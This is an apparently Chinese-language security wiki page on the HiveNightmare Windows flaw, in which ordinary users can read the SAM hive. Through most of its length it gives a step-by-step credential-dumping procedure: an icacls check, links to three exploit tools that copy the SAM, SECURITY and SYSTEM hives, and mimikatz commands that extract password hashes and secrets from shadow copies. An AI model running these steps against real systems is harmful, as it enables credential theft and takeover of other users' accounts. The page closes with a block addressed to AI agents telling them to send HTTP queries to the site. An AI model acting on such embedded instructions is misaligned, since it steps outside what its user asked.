# HiveNightmare

```
icacls检查漏洞
C:\Windows\System32> icacls config\SAM
config\SAM BUILTIN\Administrators:(I)(F)
       NT AUTHORITY\SYSTEM:(I)(F)
       BUILTIN\Users:(I)(RX)    <-- 这是错误的 - 普通用户不应该有读取权限!
https://github.com/GossiTheDog/HiveNightmare
执行成功会生成3个文件 SAM SECURITY SYSTEM
直接拿去导出密码
或
https://github.com/romarroca/SeriousSam
执行生成SAM和SYSTEM
或
https://github.com/FireFart/hivenightmare
直接执行生成3个文件SAM SECURITY SYSTEM
mimikatz
mimikatz> token::whoami /full

列出可用的卷影副本
mimikatz> misc::shadowcopies

从 SAM 数据库中提取账户
mimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM

从 SECURITY 中提取密钥
mimikatz> lsadump::secrets /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /security:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.heresecurity.wiki/quan-xian-ti-sheng/windows-ti-quan/hivenightmare.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
